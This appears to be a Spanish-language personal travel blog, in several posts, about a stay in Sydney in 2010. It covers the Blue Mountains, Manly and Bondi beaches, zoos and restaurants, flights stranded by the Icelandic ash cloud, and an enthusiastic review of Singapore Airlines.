Con todo esto no pretendo poner a British Airways por lo suelos, ni mucho menos. Me trataron muy bien y tengo previsto volver a volar con ellos cuando tenga que ir Estados Unidos. Lo que quiero decir es que si alguna vez dudas entre volar con Singapore Air o cualquier otra… ¡no lo dudes! ¡con Singapore Air de cabeza! (aunque sea más caro, si es vuelo largo realmente vale la pena) … a menos que la otra opción sea Asiana Airlines que acaba de superar a Singapore Air como la mejor aerolínea del mundo en 2009.

A pesar de todo, hemos gozado de otro fin de semana en Sídney. Dicen que si vienes a Australia desde Europa la estancia mínima es un mes… parece que ese mínimo es obligatorio

El fin de semana en realidad nos lo tomamos con calma, el sábado dimos una vuelta por el centro para ver un par de sitios interesantes, por ejemplo la librería Kinokuniya, con mucho Manga y libros de cocina muy interesantes:

El domingo nos lo pasamos en el ferry: primero a Watson’s Bay a ver The Gap y luego (por tercera vez) a la playa de Manly a por una puesta de sol y mojarnos los pies.

Nos reservamos lo mejor para el lunes, que aquí era festivo (día de ANZAC): excursión a las Blue Mountains, esta vez a caminar por nuestra cuenta.

A la vuelta cenamos en el restaurante chino Marigold, que contradice por completo la fama que los restaurantes chinos tienen (al menos en España) de ser cutres y baratos. De barato no tiene nada, el servicio es muy atento, a mí me gustó lo que tienen por té verde y la comida estaba muy buena. Pedimos unas vieiras al vapor y estaban en su punto exacto, nada fácil de hacer.

Esto me recuerda las tres cosas que voy a echar de menos, por este orden:

1. Helado de té verde (en Gelatissimo, Nazimi y otros)
2. Comida asiática a precios razonables
3. Carne a precios razonables (no sólo la de canguro )

Hay más cosas que me gustan, Sídney es una ciudad llena de razones para vivir aquí, reconozco que si me ofrecieran trasladarme aquí me lo pensaría… ¡en este país los postres son un asunto muy serio!

Y colorín colorado, esta visita a Sídney se ha terminado. Me llevo muy buenos recuerdos, 1743 fotos (5070 MB), 5 vídeos (512 MB), 2 camisetas y 1 taza

Como ya debe saber, literalmente, todo el mundo, la mayoría de los aeropuertos internacionales en Europa están cerrados a raíz de la erupción del volcán Eyjafjallajökull en Islandia, la mayor interrupción de vuelos en Europa desde la Segunda Guerra Mundial. La nube de cenizas volcánicas ha llevado a más de 20 países en Europa a cerrar su espacio aéreo. Miles de vuelos cancelados, millones de pasajeros atrapados en aeropuertos y en algunos casos todos hoteles en sus alrededores ya están a rebosar.

No todos los derechos de los pasajeros en Europa se aplican a compañías asiáticas, como Singapore Air, que ya me advirtió de que si vuelo a Singapur y me quedo atrapado allí no me van a dar alojamiento, aunque parece que a 1200 sí se lo dieron. El aeropuerto de Zúrich sigue cerrado hasta el lunes. Si tuviera prisa podría intentar volar a Madrid haciendo escala en Buenos Aires (me costaría lo mismo) pero nadie sabe si no me cerrarán el aeropuerto de Madrid a mitad de camino, aunque de momento parece que, por el contrario, España podría ser una buena puerta de entrada a Europa.

Ahora dicen que la cosa podría mejorar pronto mientras los holandeses se suben por las paredes a pesar de haber buenas razones para esperar… pero para hablar del tema ya están los informativos. Bastante tengo con estar atento a los avisos de Singapore Air.

Por suerte, todo esto me ha pillado antes de salir de Sídney, así que aquí me quedo hasta que pueda volar en la ruta prevista. Mientras tanto, vamos a mirar el lado positivo…

El pasado sábado fuimos a ver las Blue Mountains en una visita guiada (Anderson’s tour) de día completo. Un guía australiano muy simpático nos llevó en minibus casi todo el día, a la tarde nos ahorró un empacho de carretera dejándonos en un ferry de vuelta a la ciudad.

La primera parada del día fue en el Featherdale Wildlife Park, un pequeño parque zoológico donde algunos de los animales andan a sus anchas fuera de las jaulas y puedes acercarte todo lo que quieras a un par de koalas:

Otros animales están en jaulas porque no te conviene tropezarte con ellos:

Como era de esperar, hice unas pocas fotos

La siguiente parada fue mejor aún: ¡clase de lanzamiento de boomerang!

Como siempre, parece fácil. Hasta que lo intentas

El segundo intento tampoco fue mucho mejor, tengo que practicar más. Aunque un poco caro ($20) éste es el único boomerang que con seguridad funciona. Comprobado

De aquí nos fuimos a ver las famosas Blue Mountains. Allí vimos bonitas vistas, helechos gigantes de la época de los dinosaurios y el cablecar más empinado del mundo, parte de la mina de carbón que trajo prosperidad a los principales asentamientos de la zona.

La excursión estuvo bien como algo relajado, no vimos todo lo que yo quería ver ni pudimos pararnos mucho en cada sitio, pero como vistazo rápido estuvo genial. Si tengo ocasión me gustaría volver pero con una ruta corta de senderismo, el tren llega allí desde el centro de Sídney, pero para eso hay que prepararse mejor.

Pasamos unas cuantas horas en la carretera pero el guía se lo montó bien para que no nos aburriéramos. Lo mejor que recuerdo fue cuando lanzó la pregunta “¿Qué es lo mejor que habéis visto en Australia?” y la familia de Georgia (EE.UU.) responde “Bueno… estuvimos en Nueva Zelanda.”

Aparte de Nueva Zelanda (que me encantaría visitar), la única recomendación que me quedo (del resto del grupo) es la de subirse al puente, pero es un poco caro ($200 o más) y no dejan hacer fotos.

El pasado domingo, para matar las ganas de senderismo que me dejó el sábado, recorrimos el Manly Scenic Walk pero en sentido contrario al que lo documentan por todas partes. La idea de hacerla al revés vino de la mano de un australiano y es probablemente el mejor consejo que hayamos recibido.

El perfil del recorrido no es suficientemente revelador: las subidas hubieran sido peor de haberlo hecho al derecho

Las vistas y las playas son bonitas, aunque me temo que no es fácil hacerles justicia con las fotos a las vistas porque el 90% es cielo o arbustos, excepto en las playas.

Si alguien de Canarias está pensando que la vegetación le resulta familiar, es que se parece mucho a la transición entre la laurisilva y el fayal-brezal (véase pisos de vegetación en Tenerife). Miren esa planta parecida a nuestro Tejo.

Aquel día hizo mucho calor, por primera vez en muchos años me dieron muchas ganas de tirarme al mar, pero no se me ocurrió llevarme el bañador. Lo que no sabía era que el agua el Pacífico aquí está bastante caliente: apenas baja de 20ºC. Unos días más tarde volví a Manly, por la noche, probé el agua y me pareció caliente como si alguien se hubiera… ya saben

Este sábado, cada vez con menos esperanzas de que fuera nuestro último día en Sídney, nos lo tomamos con más calma. Por la mañana temprano fui a ver los Jardines Chinos de la Amistad. Sólo les dí un vistazo rápido (apenas una hora) pero me gustaron mucho.

Después de brunchear en el Din Tai Fung de Sydney, cogimos el ferry al otro lado del Harbour bridge para cruzarlo caminando. Más vistas del puente, Sídney, la cása de la ópera, un crucero cruzando por medio y puesta de sol

Esto no es nada, mira este vídeo y flipa con los últimos segundos

Ayer nos lo tomamos aún más relajadamente, en parte por la frustración de no poder volver a casa. Como hacía un día estupendo (bueno, no tanto en la ciudad) nos fuimos a ver la playa de Bondi, al parecer una de las playas favoritas de la zona. Vacía debe ser bonita, pero llena de gente es más bien decepcionante. Para dar una idea del nivel de decepción: durante la primera media hora creí que me iría de la playa sin una sola foto. Al final me animé, sobretodo cuando el sol bajó mucho y la luz se tornó más cálida.

Como se puede apreciar en mi cara de psicópata, lo mejor de Bondi fueron los churros con chocolate en la chocolatería San Churro, ¡buenísimos!

Para terminar de poner los dientes largos, voy a listar aquí mis restaurantes favoritos en Sídney:

• Nazimi‎
• Chinta Ria Temple of Love‎
• Xic Lo‎
• Din Tai Fung
• Australian Heritage
• James Squire Brew House‎
• The Deck Sydney‎

Y me voy corriendo a cenar al Chinta Ria Temple of Love‎ otra vez

Pero casi, en total tengo 7 días libres para andar a mis anchas, pero con días de oficina en medio para descansar de las palizas de caminar

El viernes sólo nos dimos un paseo por los dos parques más cercanos al centro de la ciudad, The Domain y los Royal Botanic Gardens. El primero ofrece unas vistas estupendas de la casa de la ópera y el puente, seguro que te resulta familiar, al menos la mitad superior

No es de extrañar que sea tan popular para ver la puesta de sol, también ofrece una bonita vista de los rascacielos:

El parque de los Royal Botanic Gardens incluye un invernadero con helechos (Fernery), otro con flores tropicales (Tropical Centre), un jardín de rosas y un montón de murciélagos y pájaros raros:

Lo que no esperaba encontrar en el jardín botánico de Sídney eran plantas endémicas de las Islas Canarias. Lástima que la bicacarera no estaba en flor.

Esto lo descubrí en la segunda o tercera visita a los jardines botánicos, están tan bien situados que gravitamos allí un día que no teníamos planes para llenar el día completo. También tienen una cuantas plantas carnívoras, la mayoría dentro del Tropical Centre.

El sábado fuimos a ver Chinatown (donde comimos muy bien por el precio más razonable hasta la fecha en Sídney) y luego nos pasamos por el Darling Harbour pero lo único destacable fue la actuación de The Circus Firemen.

El domingo fuimos a ver la zona vieja (The Rocks) pero en plan relajado, muy relajado, ya que el lunes sería un día largo. El lunes fuimos al Taroonga Zoo y efectivamente fue un día largo como un día sin pan. Por primera vez tiré más de 1000 fotos y al mismo tiempo superé la marca de 10000 fotos en la cámara (el contador interno sólo tiene 4 dígitos), pero por suerte para los espectadores he conseguido reducir el resultado a sólo unas 270 fotos

Que tengan un buen fin de semana

Lógicamente no tengo mucho que contar de Sídney, salvo que llueve y en mi desviada opinión hace un calor asqueroso

Hablaré pues de Singapore Air, se lo han ganado.

Mi primera impresión no fue nada buena: máximo 20 Kg. de equipaje facturado por persona. No me lo podía creer, en todos mis anteriores vuelos transoceánicos el límite fueron 32 Kg. (o 70 libras, que son 31.75 Kg.) a pesar de haber sido más baratos. Desde Europa (Dublín y Zúrich) volé con destino a San Francisco con Aerlingus (€800-1000) y American Airlines (€400) sin tener que medir el peso. Ahora tengo que medirlo a pesar de pagar €1600

Como todo viajero experimentado debe saber, estas restricciones se fuerzan con más o menos severidad dependiendo del aeropuerto de embarque. En Suiza no pasan ni una, como ya pudimos comprobar. Por suerte no tuve que dejar nada en casa pero sólo me salvé porque la ropa era más ligera que en mis anteriores viajes. No se viste uno igual en Sídney a final del verano que en San Francisco entre otoño e invierno

Aquí terminan mis quejas. Todo lo demás fue sobrasaliente.

Para empezar, tuvimos la gran suerte de volar en el primer A380 entre Zúrich y Singapur. Así se explicaba que estuvieran repartiendo copas de vino y tocando el alforn en la puerta de embarque. El vino no me llamó la atención, pero los suizos tocando el alforn en la puerta de embarque ya era demasiado para no sacar la cámara. También había que ver el uniforme de las azafatas, pero eso es normal en todos los vuelos de Singapor Air:

El concierto de alforn resultó ser lo único excepcional del vuelo, dejando a un lado las características del A380 que no tenía el Boing 777 (de Singapur a Sídney). Un embarque rápido y bien organizado, asientos separados con espacio para las piernas (un bien escaso en los tiempos que corren), compartimentos superiores (para el equipaje de mano) amplios y levadizos (quedan muy altos al cerrarse, ahorrando cabezazos), trato impecable, comida que no parecía de avión, bebidas con regularidad, buena cartelera de películas… nada que ver con mis anteriores vuelos transoceánicos.

Me empeñé en dormir (no leí nada de nada) así que sólo vi tres películas (o casi, me quedó The Hurt Locker sin terminar) pero habían películas nuevas y muy buenas, unas cuantas ganadoras de Óscars y Goya: Celda 211, Avatar, Nine, The Blind Side, Crazy Heart, The Hurt Locker, Sherlock Holmes… y muchas más, pero no me acuerdo ahora de más.

La comida estaba muy buena, tanto almuerzos como desayunos. Se me ocurrió la brillante idea de pedir un menú especial (sin glutén) y las sorpresas no faltaron. Primero, al ver el menú normal me quedé con ganas de probarlo, pregunté si podría anular mi menú especial pero ya era demasiado tarde. Menos mal que no lo cambiaron, me pusieron un filete de avestruz que no habría cambiado por otra cosa Bueno, no estoy 100% seguro, pero he comido avestruz un par de veces en la oficina y era lo más parecido. Segundo, antes de servir el desayuno (del día siguiente, en el mismo vuelo) me ofrecieron cancelar el menú sin gluten. Me retracté en vista de lo bueno que estaba, pero me pareció notable que se acordaran de mi petición, ni siquiera era la misma azafata (aunque todas parecían iguales) así que tiene mérito que mi petición no se perdiera de vista. El desayuno también estuvo genial. El almuerzo (ya en otro vuelo) superó de nuevo mis espectativas: estofado de ternera que parecía un solomillo, estaba muy bueno y casi igual de tierno.

Pedí menú sin gluten por ver qué me daban y porque sabía que me servirían la comida antes que a los demás. Mejor hacer esperar 10 minutos a 300 pasajeros, que hacer esperar 300 minutos a 10 pasajeros

Por supuesto, no tuvimos que preocuparnos del equipaje al cambiar de vuelo en Singapur. Ni siquiera tuvimos que cambiar de terminal, sólo caminar un poco y volver a pasar controles de seguridad. Se agradece que te pongan los vuelos en la misma termina, aunque tengas tiempo de sobra para hacer el cambio.

Al llegar a Sídney casi no tuvimos que esperar por las maletas, no sé si sería suerte pero cuando llegamos a la cinta (tras pasar el control de pasaporte) había muchas maletas dando vueltas, en un minuto o dos ya teníamos las nuestras. Teniendo en cuenta que podían haber algo más de 500 personas en el avión, esa rapidez también tiene mérito.

En resumen, considerando el bueno tiempo que hace por estas tierras (o sea, que no hay que llenar la maleta con ropa de abrigo) recomiendo encarecidamente a cualquiera que tenga la opción, que vuele con Singapore Air aunque sea más caro. Nosotros podíamos haber volado con Emirates (vía Dubai) por no mucho menos (€1300-1500) pero en varios foros les ponen a caer de un burro

Y colorín colorado, el vuelo ha terminado. Aquí estamos en la otra punta del mundo, que no tiene nada del revés excepto el tráfico